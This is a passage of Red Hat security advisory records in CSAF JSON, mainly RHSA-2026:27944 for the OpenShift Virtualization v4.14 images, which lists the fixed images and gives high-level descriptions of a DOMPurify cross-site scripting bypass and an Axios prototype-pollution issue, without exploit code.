"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "openshift/router: openshift/router: mTLS client certificate spoofing via unstripped X-SSL-Client headers on HTTP frontend"
}
]
}
RHSA-2026:27944
Vulnerability from csaf_redhat - Published: 2026-06-22 14:36 - Updated: 2026-07-30 19:11Summary
Red Hat Security Advisory: OpenShift Virtualization v4.14 Images
Severity
Important
Notes
Topic: Red Hat OpenShift Virtualization release v4.14 is now available with updates to packages and images that fix several bugs and add enhancements.
Details: OpenShift Virtualization is Red Hat's virtualization solution designed for Red Hat OpenShift Container Platform.
This advisory contains OpenShift Virtualization v4.14 images.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in DOMPurify, a DOM-only cross-site scripting sanitizer. A remote attacker could exploit an inconsistency in how forbidden tags and attributes are handled when function-based tag additions are used. This allows malicious HTML, MathML, or SVG elements to bypass sanitization and execute arbitrary code in the user's browser, leading to Cross-Site Scripting (XSS).
8.1 (High)
Affected products
Fixed
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Moderate
A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
7.0 (High)
Affected products
Fixed
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
17 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:27944 | self |
| https://access.redhat.com/security/cve/CVE-2026-41240 | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2026-41240 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461147 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-41240 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-41240 | external |
| https://github.com/cure53/DOMPurify/commit/c361ba… | external |
| https://github.com/cure53/DOMPurify/releases/tag/3.4.0 | external |
| https://github.com/cure53/DOMPurify/security/advi… | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487937 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44495 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44495 | external |
| https://github.com/axios/axios/security/advisorie… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Red Hat OpenShift Virtualization release v4.14 is now available with updates to packages and images that fix several bugs and add enhancements.",
"title": "Topic"
},
{
"category": "general",
"text": "OpenShift Virtualization is Red Hat\u0027s virtualization solution designed for Red Hat OpenShift Container Platform.\n\nThis advisory contains OpenShift Virtualization v4.14 images.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:27944",
"url": "https://access.redhat.com/errata/RHSA-2026:27944"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-41240",
"url": "https://access.redhat.com/security/cve/CVE-2026-41240"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44495",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_27944.json"
}
],
"title": "Red Hat Security Advisory: OpenShift Virtualization v4.14 Images",
"tracking": {
"current_release_date": "2026-07-30T19:11:45+00:00",
"generator": {
"date": "2026-07-30T19:11:45+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.8"
}
},
"id": "RHSA-2026:27944",
"initial_release_date": "2026-06-22T14:36:49+00:00",
"revision_history": [
{
"date": "2026-06-22T14:36:49+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-07-25T05:39:32+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-30T19:11:45+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Container Native Virtualization 4.14",
"product": {
"name": "Red Hat Container Native Virtualization 4.14",
"product_id": "Red Hat Container Native Virtualization 4.14",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:container_native_virtualization:4.14::el9"
}
}
}
],
"category": "product_family",
"name": "Red Hat Container Native Virtualization"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64",
"product": {
"name": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64",
"product_id": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64",
"product_identification_helper": {
"purl": "pkg:oci/kubevirt-console-plugin-rhel9@sha256%3A69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa?arch=amd64\u0026repository_url=registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9\u0026tag=1781807944"
}
}
}
],
"category": "architecture",
"name": "amd64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"product": {
"name": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"product_id": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"product_identification_helper": {
"purl": "pkg:oci/kubevirt-console-plugin-rhel9@sha256%3A049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30?arch=arm64\u0026repository_url=registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9\u0026tag=1781807944"
}
}
}
],
"category": "architecture",
"name": "arm64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64 as a component of Red Hat Container Native Virtualization 4.14",
"product_id": "Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64"
},
"product_reference": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"relates_to_product_reference": "Red Hat Container Native Virtualization 4.14"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64 as a component of Red Hat Container Native Virtualization 4.14",
"product_id": "Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64"
},
"product_reference": "registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64",
"relates_to_product_reference": "Red Hat Container Native Virtualization 4.14"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-41240",
"cwe": {
"id": "CWE-79",
"name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
},
"discovery_date": "2026-04-23T16:04:41.751666+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461147"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in DOMPurify, a DOM-only cross-site scripting sanitizer. A remote attacker could exploit an inconsistency in how forbidden tags and attributes are handled when function-based tag additions are used. This allows malicious HTML, MathML, or SVG elements to bypass sanitization and execute arbitrary code in the user\u0027s browser, leading to Cross-Site Scripting (XSS).",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:69485bb9ebd1ac44a956b1019a7e0d3f141694853232ab73be73d17e9866edaa_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-41240"
},
{
"category": "external",
"summary": "RHBZ#2461147",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461147"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-41240",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41240"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
},
{
"category": "external",
"summary": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80",
"url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
},
{
"category": "external",
"summary": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
},
{
"category": "external",
"summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
}
],
"release_date": "2026-04-23T14:54:32.426000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-22T14:36:49+00:00",
"details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat Container Native Virtualization 4.14:registry.redhat.io/container-native-virtualization/kubevirt-console-plugin-rhel9@sha256:049d85a86fff8c002a80bed8301144600a2d472cf6eb8193392d6ed2c8984a30_arm64",
